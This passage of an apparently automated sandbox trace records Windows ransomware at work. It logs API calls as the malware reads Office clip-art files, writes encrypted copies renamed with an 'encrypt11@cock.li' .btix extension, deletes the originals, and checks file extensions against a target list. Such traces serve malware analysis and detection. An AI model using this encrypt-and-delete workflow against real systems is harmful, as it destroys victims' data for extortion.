dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.193] GetLastError () returned 0x0 [0153.193] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1f3c, lpOverlapped=0x0) returned 1 [0153.193] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1f40, lpOverlapped=0x0) returned 1 [0153.194] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.194] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.195] SetEndOfFile (hFile=0x38c) returned 1 [0153.195] CloseHandle (hObject=0x38c) returned 1 [0153.195] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.195] SetEndOfFile (hFile=0x378) returned 1 [0153.195] CloseHandle (hObject=0x378) returned 1 [0153.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0153.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0153.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0153.196] lstrlenW (lpString=".doc") returned 4 [0153.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.196] lstrlenW (lpString=".docx") returned 5 [0153.196] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.196] lstrlenW (lpString=".pdf") returned 4 [0153.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.196] lstrlenW (lpString=".xls") returned 4 [0153.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.196] lstrlenW (lpString=".xlsx") returned 5 [0153.196] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.196] lstrlenW (lpString=".ppt") returned 4 [0153.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0153.197] lstrlenW (lpString=".zip") returned 4 [0153.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.197] lstrlenW (lpString=".rar") returned 4 [0153.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.197] lstrlenW (lpString=".bz2") returned 4 [0153.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.197] lstrlenW (lpString=".7z") returned 3 [0153.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0153.197] lstrlenW (lpString=".dbf") returned 4 [0153.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0153.197] lstrlenW (lpString=".1cd") returned 4 [0153.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0153.197] lstrlenW (lpString=".jpg") returned 4 [0153.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.197] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.197] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.198] GetLastError () returned 0x0 [0153.198] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1498, lpOverlapped=0x0) returned 1 [0153.199] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x14a0, lpOverlapped=0x0) returned 1 [0153.200] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.200] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.200] SetEndOfFile (hFile=0x38c) returned 1 [0153.200] CloseHandle (hObject=0x38c) returned 1 [0153.200] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.200] SetEndOfFile (hFile=0x378) returned 1 [0153.201] CloseHandle (hObject=0x378) returned 1 [0153.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0153.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0153.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0153.201] lstrlenW (lpString=".doc") returned 4 [0153.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.202] lstrlenW (lpString=".docx") returned 5 [0153.202] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.202] lstrlenW (lpString=".pdf") returned 4 [0153.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.202] lstrlenW (lpString=".xls") returned 4 [0153.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.202] lstrlenW (lpString=".xlsx") returned 5 [0153.202] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.202] lstrlenW (lpString=".ppt") returned 4 [0153.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0153.202] lstrlenW (lpString=".zip") returned 4 [0153.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.202] lstrlenW (lpString=".rar") returned 4 [0153.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.202] lstrlenW (lpString=".bz2") returned 4 [0153.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.202] lstrlenW (lpString=".7z") returned 3 [0153.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0153.202] lstrlenW (lpString=".dbf") returned 4 [0153.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0153.202] lstrlenW (lpString=".1cd") returned 4 [0153.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0153.202] lstrlenW (lpString=".jpg") returned 4 [0153.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.203] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.203] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.204] GetLastError () returned 0x0 [0153.204] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x16ec, lpOverlapped=0x0) returned 1 [0153.205] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x16f0, lpOverlapped=0x0) returned 1 [0153.205] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.205] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.205] SetEndOfFile (hFile=0x38c) returned 1 [0153.206] CloseHandle (hObject=0x38c) returned 1 [0153.206] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.206] SetEndOfFile (hFile=0x378) returned 1 [0153.206] CloseHandle (hObject=0x378) returned 1 [0153.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0153.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0153.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0153.207] lstrlenW (lpString=".doc") returned 4 [0153.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.207] lstrlenW (lpString=".docx") returned 5 [0153.207] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.207] lstrlenW (lpString=".pdf") returned 4 [0153.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.207] lstrlenW (lpString=".xls") returned 4 [0153.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.207] lstrlenW (lpString=".xlsx") returned 5 [0153.207] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.207] lstrlenW (lpString=".ppt") returned 4 [0153.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0153.207] lstrlenW (lpString=".zip") returned 4 [0153.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.207] lstrlenW (lpString=".rar") returned 4 [0153.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.207] lstrlenW (lpString=".bz2") returned 4 [0153.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.208] lstrlenW (lpString=".7z") returned 3 [0153.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0153.208] lstrlenW (lpString=".dbf") returned 4 [0153.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0153.208] lstrlenW (lpString=".1cd") returned 4 [0153.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0153.208] lstrlenW (lpString=".jpg") returned 4 [0153.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.208] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.208] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.209] GetLastError () returned 0x0 [0153.209] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2b64, lpOverlapped=0x0) returned 1 [0153.484] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2b70, lpOverlapped=0x0) returned 1 [0153.492] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.492] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.492] SetEndOfFile (hFile=0x38c) returned 1 [0153.492] CloseHandle (hObject=0x38c) returned 1 [0153.492] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.493] SetEndOfFile (hFile=0x378) returned 1 [0153.493] CloseHandle (hObject=0x378) returned 1 [0153.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0153.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0153.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0153.494] lstrlenW (lpString=".doc") returned 4 [0153.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.494] lstrlenW (lpString=".docx") returned 5 [0153.494] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.494] lstrlenW (lpString=".pdf") returned 4 [0153.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.494] lstrlenW (lpString=".xls") returned 4 [0153.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.494] lstrlenW (lpString=".xlsx") returned 5 [0153.494] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.494] lstrlenW (lpString=".ppt") returned 4 [0153.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0153.494] lstrlenW (lpString=".zip") returned 4 [0153.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.494] lstrlenW (lpString=".rar") returned 4 [0153.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.494] lstrlenW (lpString=".bz2") returned 4 [0153.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.495] lstrlenW (lpString=".7z") returned 3 [0153.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0153.495] lstrlenW (lpString=".dbf") returned 4 [0153.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0153.495] lstrlenW (lpString=".1cd") returned 4 [0153.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0153.495] lstrlenW (lpString=".jpg") returned 4 [0153.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.496] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.496] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.496] GetLastError () returned 0x0 [0153.496] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x52e0, lpOverlapped=0x0) returned 1 [0153.584] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x52f0, lpOverlapped=0x0) returned 1 [0153.585] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.585] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.585] SetEndOfFile (hFile=0x38c) returned 1 [0153.586] CloseHandle (hObject=0x38c) returned 1 [0153.586] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.586] SetEndOfFile (hFile=0x378) returned 1 [0153.587] CloseHandle (hObject=0x378) returned 1 [0153.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0153.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0153.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0153.588] lstrlenW (lpString=".doc") returned 4 [0153.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.588] lstrlenW (lpString=".docx") returned 5 [0153.588] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.588] lstrlenW (lpString=".pdf") returned 4 [0153.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.588] lstrlenW (lpString=".xls") returned 4 [0153.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.589] lstrlenW (lpString=".xlsx") returned 5 [0153.589] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.589] lstrlenW (lpString=".ppt") returned 4 [0153.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0153.590] lstrlenW (lpString=".zip") returned 4 [0153.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.590] lstrlenW (lpString=".rar") returned 4 [0153.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.590] lstrlenW (lpString=".bz2") returned 4 [0153.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.590] lstrlenW (lpString=".7z") returned 3 [0153.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0153.590] lstrlenW (lpString=".dbf") returned 4 [0153.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0153.590] lstrlenW (lpString=".1cd") returned 4 [0153.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0153.590] lstrlenW (lpString=".jpg") returned 4 [0153.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.591] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.591] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.592] GetLastError () returned 0x0 [0153.592] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xdf0, lpOverlapped=0x0) returned 1 [0153.665] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xe00, lpOverlapped=0x0) returned 1 [0153.666] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.666] WriteFile (in: hFile=0x38c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.666] SetEndOfFile (hFile=0x38c) returned 1 [0153.666] CloseHandle (hObject=0x38c) returned 1 [0153.666] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.666] SetEndOfFile (hFile=0x378) returned 1 [0153.667] CloseHandle (hObject=0x378) returned 1 [0153.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 1 [0153.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0153.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 